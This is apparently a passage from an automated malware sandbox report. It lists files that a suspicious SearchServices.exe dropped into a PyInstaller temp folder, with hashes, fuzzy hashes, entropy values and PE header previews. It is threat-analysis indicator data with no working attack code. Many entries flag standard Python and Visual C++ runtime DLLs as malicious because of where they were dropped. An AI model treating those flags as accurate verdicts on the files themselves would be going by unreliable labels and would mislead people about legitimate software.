MD5:	BEEC00F147B53EF8033EB5DF8821AEF0
SHA1:	FF0F5F7C8F168986580C9FFE3B256C966BB0C820
SHA-256:	404EDF6130C709A88B7387F51B6D746BED96230E6C0E670641AFCA799279B504
SHA-512:	678C1E64A7632D8B2628C30578DA227FAFC4D8AE14E020C183FA4AD3B99E2AD45DD695341E7B3196B6E199E68FA5EDABB651757DF34C395A63DB548D770DA649
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..\|.../.../.../..Q/.../G....../C....../.../#../G....../G....../G....../....../....../.=/.../....../Rich.../................PE..d...la.c.........." ...".\...2......0.....................................................`..........................................~..d...T...d...............$...............,....s...............................q..@............p..(............................text...XZ.......\.................. ..`.rdata.......p.......`..............@..@.data................t..............@....pdata..$...........................@..@.rsrc...............................@..@.reloc..,...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Protocol\_scrypt.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.798545931891201
Encrypted:	false
SSDEEP:	192:lCkCffqPSTMeAk4OeR64ADp6i6RcqgO5vE:lAZMcPeR64ADT63gO5vE
MD5:	DD7D22A0AFE540C07CE9D919CD779203
SHA1:	0E76DB96EC2D9922937A77ABEDB7E61037CC8CB9
SHA-256:	880A4418D81C4DA0D588C0CFD7C68D8C5476385D9203A2D6DED25A0F7B330A76
SHA-512:	BD720CF67E264040F8076EDBB72843305094F1D87BD03A1E9FBEB47564F3963120D76BAD6887FEA560B45958F2FFA929A7D63EA1EC9B633DA23784D98A68C32A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................;..................................................................W.............Rich............................PE..d...ca.c.........." ..."............P.....................................................`..........................................8..d...$9..d....`.......P..4............p..,....3...............................1..@............0...............................text...x........................... ..`.rdata.......0......................@..@.data........@.......&..............@....pdata..4....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ec_ws.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754688
Entropy (8bit):	7.627131782370933
Encrypted:	false
SSDEEP:	12288:wwEuHoxJ8gf1266y8IXhJvCKAmqVLzcrZgYIMGv1iLD9yQvG6hz:xEuHoxJFf1p34hcrn5Go9yQO6x
MD5:	62A32904910D5550F21C4C4D08993ABE
SHA1:	834FB3919E49439353B62A8B7456E6E5E879EFE0
SHA-256:	3EE17F4004B4EA1DB4D85DB545223AADD6FDD635DF6120A354F6DC605F848B76
SHA-512:	7D45AD10623F297485789DB5BFC153FC8DBC5DB0F1E60D2B244B8B02DACE9A5DD9F947C6EBD7E67739DDCB25569F056FBB131AFB55E817EA6F29112C122FBA1B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......`...$..L$..L$..L-.#L"..Lk.M&..Lo.M'..L$..L...Lk.M(..Lk.M,..Lk.M'..L..M!..L..M%..L..OL%..L..M%..LRich$..L................PE..d...ha.c.........." ...".n..........0.....................................................`.........................................pp..d....q..d...............l...............4...@Z...............................Y..@...............(............................text...hm.......n.................. ..`.rdata..d............r..............@..@.data................j..............@....pdata..l............r..............@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed25519.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27648
Entropy (8bit):	5.7998007997145695
Encrypted:	false
SSDEEP:	384:vRwib1zOF2cZT1n0/kyTMIl9bhgIW0mvNah4rzWrxmlPft/wxD6sQsgkbQ0e1J:JLpI2czeM+9dmvNah4uktIxDIkf
MD5:	9E8C8445A0AFCE8FB90F09393D8632A7
SHA1:	F71D027B4064C60BCD6A997E770FBA9F157C907C
SHA-256:	401915CD7832F79187DBE9C1837EF3D2F1C5F274552500A7610453537C3865F5
SHA-512:	E8E7836F1FB28964C1F921EF3FFE42CF43614F52E74BB88458673F216340322B591916FA7FB1E36270CA959A9FAA18AA70C42D5F72B1015BEA8F9198C30BD36E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y.o...o...o.......o.......o.......o...o...o.......o.......o.......o.......o.......o....t..o.......o..Rich.o..................PE..d...ja.c.........." ...".F...(......P.....................................................`..........................................j..0....k..d...............................,...pc..............................0b..@............`...............................text....D.......F.................. ..`.rdata.."....`.......J..............@..@.data................\..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..,............j..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_ed448.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.032199417476561
Encrypted:	false
SSDEEP:	1536:eVoBLZD2Ia9nihf5WeimczTvc/XVTF1bLG4/7MAvQZzS36JM+t:eVoBLZD2Ia9nihf5WFbYXVTFRqaMAvQl
MD5:	6E8F6149B570FD60969FB9183BA87CEB
SHA1:	F7EFA3B00072B00847E63061FE16D9722874DC62
SHA-256:	7C212E351BB27B6E88C9FCCA8315405EE6E3098E88FFB31A2706950E537CA52C
SHA-512:	DF74418FF014AC96CC8C78F964536992E18129B19F17D1EBF4BDDA0E30D168F5F6628D28A0DA1A63F89EEFD1A9BF332360317FE2CF50636834AD1124420F05DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..\|.../.../.../..Q/.../G....../C....../.../#../G....../G....../G....../....../....../.=/.../....../Rich.../................PE..d...ka.c.........." ...".....:......0........................................`............`.............................................h...(...d....@.......0..$............P..,.......................................@............................................text...X........................... ..`.rdata..............................@..@.data...............................@....pdata..$....0......................@..@.rsrc........@......................@..@.reloc..,....P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\PublicKey\_x25519.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.48986296849646
Encrypted:	false
SSDEEP:	96:ypVVdJvbrqTuy/Th/Y0IluLfcC75JiC4cs89EfqADBhDsAbcX6gn/7EC:gVddiTHThQTctdErDDDsicqgn/7
MD5:	F1A2E905085675FC72DE2BA11BF43370
SHA1:	6BA1331FEED29AF133E9FBDA5781CCEC8DC57319
SHA-256:	FAAEA0BFC5EAFA3EBCD625A4F12CCD260D8AF2236D073C86A30C3A1AE38BA141
SHA-512:	1472363871D5C69A5966E32BE8A11C1E3976A5ACC3F5AE51945884514BA4E66FF0C36597152E5A349FB16E66AAC2D4465C1F58EE1322D0712F7AF63875115AFA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&6!.bWO.bWO.bWO.k/..`WO.-+N.`WO.)/N.aWO.bWN.FWO.-+J.iWO.-+K.jWO.-+L.aWO.+G.cWO.+O.cWO.+..cWO.+M.cWO.RichbWO.........PE..d...ia.c.........." ..."............P........................................p............`..........................................'..P...0(..P....P.......@...............`..,...P#..............................."..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_cpuid_c.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.73280708403616
Encrypted:	false
SSDEEP:	96:kDJVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EVAElIijKDQGGbM6YJWJcX6gbW6s:6VddiTHThQTctEEaEDKDKMRWJcqgbW6
MD5:	A9B7C866C5A18CC96570CCA3BE6A2433
SHA1:	4F78C7516E512529B977048BC87ED3A95383B44E
SHA-256:	72998624C023B21F21E449F3268B7E839B248BA55440087CB6B421ED65F9A1B5
SHA-512:	EC890E84384C7B1804CE73B097EF068BADA15ADB5F76E1E9B2BCC54CDE910165A9729F40A1AC18D196DDD3EE4EE60A0CFAA6D56DAAFCAD10630AD2658FAF485B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&6).bWG.bWG.bWG.k/..`WG.-+F.`WG.)/F.aWG.bWF.AWG.-+B.iWG.-+C.jWG.-+D.aWG.+O.cWG.+G.cWG.+..cWG.+E.cWG.RichbWG.........................PE..d...aa.c.........." ..."............P........................................p............`..........................................'..\|....'..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Crypto\Util\_strxor.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.688658167085762
Encrypted:	false
SSDEEP:	96:k0yZVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EMz3DOWMot4BcX6gbW6O:XQVddiTHThQTctEEO3DEoKcqgbW6
MD5:	5738D83E2A66B6ACE4F631A9255F81D9
SHA1:	5B6EBB0B82738781732CF7CFD497F5AEB3453DE2
SHA-256:	F2718ADADB6E9958081DCB5570EF737C66772C166A6AD8C0401ADCD9A70F46A0
SHA-512:	BB21B62FD7FEE22DFA04274D0FA1AEC666C7845CD2EC3F01F1A0418A2C68F228EC0AE451C793CCAE3AA88F1EFEE5D6019138C0975497518F990B8511B2FD0E75
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&6).bWG.bWG.bWG.k/..`WG.-+F.`WG.)/F.aWG.bWF.AWG.-+B.iWG.-+C.jWG.-+D.aWG.+O.cWG.+G.cWG.+..cWG.+E.cWG.RichbWG.........................PE..d...ca.c.........." ..."............P........................................p............`.........................................`'..t....'..P....P.......@...............`..,...."...............................!..@............ ...............................text...x........................... ..`.rdata....... ......................@..@.data...8....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......&..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\mfc140u.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5653424
Entropy (8bit):	6.729277267882055
Encrypted:	false
SSDEEP:	49152:EuEsNcEc8/CK4b11P5ViH8gw0+NVQD5stWIlE7lva8iposS9j5fzSQzs7ID+AVuS:EnL8+5fiEnQFLOAkGkzdnEVomFHKnPS
MD5:	03A161718F1D5E41897236D48C91AE3C
SHA1:	32B10EB46BAFB9F81A402CB7EFF4767418956BD4
SHA-256:	E06C4BD078F4690AA8874A3DEB38E802B2A16CCB602A7EDC2E077E98C05B5807
SHA-512:	7ABCC90E845B43D264EE18C9565C7D0CBB383BFD72B9CEBB198BA60C4A46F56DA5480DA51C90FF82957AD4C84A4799FA3EB0CEDFFAA6195F1315B3FF3DA1BE47
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.cu...&...&...&...'...&...'...&...'...&..&...&G..'...&G..'...&...'...&...&..&G..'...&G..'...&G..'...&G..'...&G..&...&G..'...&Rich...&................PE..d....~.a.........." .....(-..X)......X,.......................................V......YV...`A..........................................:.....h.;.......?......`=..8....V..'...PU.0p..p.5.T...........................`...8............@-.P...0.:......................text....&-......(-................. ..`.rdata.......@-......,-.............@..@.data....6... <.......<.............@....pdata...8...`=..:....<.............@..@.didat..H.....?.......?.............@....rsrc.........?.......?.............@..@.reloc..0p...PU..r....T.............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\Pythonwin\win32ui.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1142272
Entropy (8bit):	6.040548449175261
Encrypted:	false
SSDEEP:	12288:cLokSyhffpJSf6VJtHUR2L2mVSvya6Lx15IQnpKTlYcf9WBo:cLok/pXJdUzOSMx15dcTlYiK
MD5:	B505E88EB8995C2EC46129FB4B389E6C
SHA1:	CBFA8650730CBF6C07F5ED37B0744D983ABFE50A
SHA-256:	BE7918B4F7E7DE53674894A4B8CFADCACB4726CEA39B7DB477A6C70231C41790
SHA-512:	6A51B746D0FBC03F57FF28BE08F7E894AD2E9F2A2F3B61D88EAE22E7491CF35AE299CDB3261E85E4867F41D8FDA012AF5BD1EB8E1498F1A81ADC4354ADACDAAB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aM.F%,r.%,r.%,r.,T../,r..Ys.',r..Es.',r.1Gs.+,r.wYv.-,r.wYq.!,r.wYw.3,r.%,s.-*r.wYs.",r..Y{..,r..Yr.$,r..Y..$,r..Yp.$,r.Rich%,r.........................PE..d......d.........." .........p......t.....................................................`..............................................T...q..h...............................`\..`...T.......................(.......8................0...........................text............................... ..`.rdata..............................@..@.data...............................@....pdata...............`..............@..@.rsrc...............................@..@.reloc..`\.......^..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109392
Entropy (8bit):	6.643764685776923
Encrypted:	false
SSDEEP:	1536:DcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/Auecbq8qZU34zW/K0zD:DV3iC0h9q4v6XjKAuecbq8qGISb/
MD5:	870FEA4E961E2FBD00110D3783E529BE
SHA1:	A948E65C6F73D7DA4FFDE4E8533C098A00CC7311
SHA-256:	76FDB83FDE238226B5BEBAF3392EE562E2CB7CA8D3EF75983BF5F9D6C7119644
SHA-512:	0B636A3CDEFA343EB4CB228B391BB657B5B4C20DF62889CD1BE44C7BEE94FFAD6EC82DC4DB79949EDEF576BFF57867E0D084E0A597BF7BF5C8E4ED1268477E88
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........u...u...u.E.t...u.....u...t...u..v...u..q...u..p...u..u...u......u..w...u.Rich..u.........PE..d.....y..........." ...".....`.......................................................5....`A........................................`C..4....K...............p.......\..PO...........-..p............................,..@............................................text............................... ..`.rdata...A.......B..................@..@.data...0....`.......D..............@....pdata.......p.......H..............@..@_RDATA..\............T..............@..@.rsrc................V..............@..@.reloc...............Z..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140_1.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49488
Entropy (8bit):	6.652691609629867
Encrypted:	false
SSDEEP:	768:8EgYXUcHJcUJSDW/tfxL1qBS3hO6nb/TEHEXi9zufUKQXi9zug:8vGS8fZ1eUpreA+zuTc+zug
MD5:	BBA9680BC310D8D25E97B12463196C92
SHA1:	9A480C0CF9D377A4CAEDD4EA60E90FA79001F03A
SHA-256:	E0B66601CC28ECB171C3D4B7AC690C667F47DA6B6183BFF80604C84C00D265AB
SHA-512:	1575C786AC3324B17057255488DA5F0BC13AD943AC9383656BAF98DB64D4EC6E453230DE4CD26B535CE7E8B7D41A9F2D3F569A0EFF5A84AEB1C2F9D6E3429739
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............L...L...L...M...L...M...L.FL...L...L...L...M...L...M...L...M...L...M...L..*L...L...M...LRich...L........................PE..d...%CU..........." ...".<...8.......A...............................................@....`A........................................0m.......m..x....................r..PO......D....c..p...........................pb..@............P..h............................text...0:.......<.................. ..`.rdata..."...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_asyncio.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64384
Entropy (8bit):	6.115753860836585
Encrypted:	false
SSDEEP:	1536:aW3/DZG0409EevNR4aimAWAs+FI75nED7SynRPx:aW39GlANR4aim6hFI75nUJVx
MD5:	4543813A21958D0764975032B09DED7B
SHA1:	C571DEA89AB89B6AAB6DA9B88AFE78ACE90DD882
SHA-256:	45C229C3988F30580C79B38FC0C19C81E6F7D5778E64CEF6CE04DD188A9CCAB5
SHA-512:	3B007AB252CCCDA210B473CA6E2D4B7FE92C211FB81ADE41A5A69C67ADDE703A9B0BC97990F31DCBE049794C62BA2B70DADF699E83764893A979E95FD6E89D8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........TF.q.F.q.F.q.O...D.q...p.D.q...t.J.q...u.N.q...r.E.q...p.E.q...p.D.q.F.p...q...\|.G.q...q.G.q....G.q...s.G.q.RichF.q.................PE..d...$..c.........." ...".T..........`................................................+....`............................................P...0...d........................)..........pw..T...........................0v..@............p...............................text...uR.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83320
Entropy (8bit):	6.534931868118148
Encrypted:	false
SSDEEP:	1536:V/Uez7qlsjcaNXZIzNYM4B0NDX8rjE2tI7tVj7SyxPx9:eezGiXMjdMrjPtI7tVjLx9
MD5:	BBE89CF70B64F38C67B7BF23C0EA8A48
SHA1:	44577016E9C7B463A79B966B67C3ECC868957470
SHA-256:	775FBC6E9A4C7E9710205157350F3D6141B5A9E8F44CB07B3EAC38F2789C8723
SHA-512:	3EE72BA60541116BBCA1A62DB64074276D40AD8ED7D0CA199A9C51D65C3F0762A8EF6D0E1E9EBF04BF4EFE1347F120E4BC3D502DD288339B4DF646A59AAD0EC1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................a.........................................t.........................................Rich....................PE..d...2..c.........." ...".....^..............................................P............`.........................................p...H............0....... .. .......x)...@..........T...........................p...@............................................text...g........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_cffi_backend.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	181248
Entropy (8bit):	6.188683787528254
Encrypted:	false
SSDEEP:	3072:rZ1fKD8GVLHASq0TTjfQxnkVB0hcspEsHS7iiSTLkKetJb9Pu:rZNRGVb9TTCnaZsuMXiSTLLeD9
MD5:	EBB660902937073EC9695CE08900B13D
SHA1:	881537ACEAD160E63FE6BA8F2316A2FBBB5CB311
SHA-256:	52E5A0C3CA9B0D4FC67243BD8492F5C305FF1653E8D956A2A3D9D36AF0A3E4FD
SHA-512:	19D5000EF6E473D2F533603AFE8D50891F81422C59AE03BEAD580412EC756723DC3379310E20CD0C39E9683CE7C5204791012E1B6B73996EA5CB59E8D371DE24
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ih..-..C-..C-..C$qMC!..C.\|.B/..CKf#C)..C.\|.B&..C.\|.B%..C.\|.B)..Cfq.B)..C.\|.B...C-..C...C.\|.B)..C$qKC,..C.\|.B,..C.\|!C,..C.\|.B,..CRich-..C........PE..d.....e.........." .........@...............................................0............`..........................................g..l...\|g..................H............ .......M...............................M..8............................................text...h........................... ..`.rdata..l...........................@..@.data....\.......0...v..............@....pdata..H...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122232
Entropy (8bit):	6.015707129535061
Encrypted:	false
SSDEEP:	3072:YjjHoXs01LUZJNUoNZf4adhfrI70s3nRI7QPY2xB:Y3HUJ6f5dhfrIHX1
MD5:	CA4CEF051737B0E4E56B7D597238DF94
SHA1:	583DF3F7ECADE0252FDFF608EB969439956F5C4A
SHA-256:	E60A2B100C4FA50B0B144CF825FE3CDE21A8B7B60B92BFC326CB39573CE96B2B
SHA-512:	17103D6B5FA84156055E60F9E5756FFC31584CDB6274C686A136291C58BA0BE00238D501F8ACC1F1CA7E1A1FADCB0C7FEFDDCB98CEDB9DD04325314F7E905DF3
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......NC..."..."..."...Z..."..E^..."..E^..."..E^..."..E^..."...^..."...P..."...P..."...K..."..."..."...^..."...^..."...^x.."...^..."..Rich."..........................PE..d.../..c.........." ..."............PZ....................................................`.........................................0P.......P..................,.......x).......... ...T...............................@...............H............................text............................... ..`.rdata..6k.......l..................@..@.data...D>...p...8...\..............@....pdata..,...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248704
Entropy (8bit):	6.54473795039927
Encrypted:	false
SSDEEP:	6144:LbdyrWOay+msmOE8qQRiJpCWi9qWMa3pLW1AUg42G:6zsmsmGNRm1omZ2G
MD5:	6339FA92584252C3B24E4CCE9D73EF50
SHA1:	DCCDA9B641125B16E56C5B1530F3D04E302325CD
SHA-256:	4AE6F6FB3992BB878416211221B3D62515E994D78F72EAB51E0126CA26D0EE96
SHA-512:	428B62591D4EBA3A4E12F7088C990C48E30B6423019BEBF8EDE3636F6708E1F4151F46D442516D2F96453694EBEEF78618C0C8A72E234F679C6E4D52BEBC1B84
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|RTy..Ty..Ty..]...Zy......Vy......Yy......\y......Py......Wy......Vy..Ty...y......Uy......[y......Uy......Uy......Uy..RichTy..........PE..d...)..c.........." ...".j...:......<................................................2....`.........................................@E..P....E...................'.......)......@...p...T...........................0...@............................................text....h.......j.................. ..`.rdata..l............n..............@..@.data....)...`...$...F..............@....pdata...'.......(...j..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61824
Entropy (8bit):	6.21086555394527
Encrypted:	false
SSDEEP:	1536:aIpTlJFWaIDPZbdqzOgB1fFI75IJ7SyXPxMVt:rT36bZbdqzXfFI75IJRxMV
MD5:	D856A545A960BF2DCA1E2D9BE32E5369
SHA1:	67A15ECF763CDC2C2AA458A521DB8A48D816D91E
SHA-256:	CD33F823E608D3BDA759AD441F583A20FC0198119B5A62A8964F172559ACB7D3
SHA-512:	34A074025C8B28F54C01A7FD44700FDEDB391F55BE39D578A003EDB90732DEC793C2B0D16DA3DA5CDBD8ADBAA7B3B83FC8887872E284800E7A8389345A30A6A4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.A.>...>...>...F2..>...B...>...B...>...B...>...B...>..iB...>...L...>...D...>...>..Q>..iB...>..iB...>..iB^..>..iB...>..Rich.>..........................PE..d.../..c.........." ...".P...z.......<...............................................;....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	157560
Entropy (8bit):	6.834360512510993
Encrypted:	false
SSDEEP:	3072:PBKvRNVdG9LqSS2IAiznfI9mNoBkD9ZRqtI7e1Pvxs:PBKvRts82awYOBkvRqM
MD5:	0A94C9F3D7728CF96326DB3AB3646D40
SHA1:	8081DF1DCA4A8520604E134672C4BE79EB202D14
SHA-256:	0A70E8546FA6038029F2A3764E721CEEBEA415818E5F0DF6B90D6A40788C3B31
SHA-512:	6F047F3BDAEAD121018623F52A35F7E8B38C58D3A9CB672E8056A5274D02395188975DE08CABAE948E2CC2C1CA01C74CA7BC1B82E2C23D652E952F3745491087
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.J[&.$.&.$.&.$./..".$.i.%.$.$.i.!.*.$.i. ...$.i.'.%.$...%.%.$...%.$.$.&.%.C.$...)...$...$.'.$.....'.$...&.'.$.Rich&.$.........PE..d...B..c.........." ...".b...........5..............................................ab....`.........................................0%..L...\|%..x....p.......P.......>..x)......H.......T...........................`...@............................................text....`.......b.................. ..`.rdata..............f..............@..@.data........@......................@....pdata.......P......................@..@.rsrc........p.......2..............@..@.reloc..H............<..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33152
Entropy (8bit):	6.323290452921724
Encrypted:	false
SSDEEP:	768:G9HI6RwgJ5xeKg2edhnJ81I7Rtt/YiSyvPPxWEa5Z:aIoJ5UKg2edhJ81I7Rtt/7SynPxeZ
MD5:	62733CE8AE95241BF9CA69F38C977923
SHA1:	E5C3F4809E85B331CC8C5BA0AE76979F2DFDDF85
SHA-256:	AF84076B03A0EADEC2B75D01F06BB3765B35D6F0639FB7C14378736D64E1ACAA
SHA-512:	FDFBF5D74374F25ED5269CDBCDF8E643B31FAA9C8205EAC4C22671AA5DEBDCE4052F1878F38E7FAB43B85A44CB5665E750EDCE786CABA172A2861A5EABFD8D49
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$Z*.E4y.E4y.E4y.=.y.E4y.95x.E4y.91x.E4y.90x.E4y.97x.E4yS95x.E4y.E5y.E4y?75x.E4yS99x.E4yS94x.E4yS9.y.E4yS96x.E4yRich.E4y........................PE..d...+..c.........." ...".....<......0................................................y....`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48512
Entropy (8bit):	6.325592382122715
Encrypted:	false
SSDEEP:	768:zy4KxRzXINGAQSKant/QKhl6XoTZfWJhSVAWiUOJI7stsYiSyvxPxWEa:XKxqztLTQSVAkOJI7sts7SypPx
MD5:	02C0F2EFF280B9A92003786FDED7C440
SHA1:	5A7FE7ED605FF1C49036D001AE60305E309C5509
SHA-256:	F16E595B0A87C32D9ABD2035F8EA97B39339548E7C518DF16A6CC27BA7733973
SHA-512:	2B05DDF7BC57E8472E5795E68660D52E843271FD08F2E8002376B056A8C20200D31FFD5E194CE486F8A0928A8486951FDB5670246F1C909F82CF4B0929EFEDAC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........({..F(..F(..F(...(..F(..G)..F(..C)..F(..B)..F(..E)..F(..G)..F(..G(..F(c.G)..F(c.B)..F(..K)..F(..F)..F(...(..F(..D)..F(Rich..F(................PE..d...-..c.........." ...".>...X...... .....................................................`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30592
Entropy (8bit):	6.413040228053335
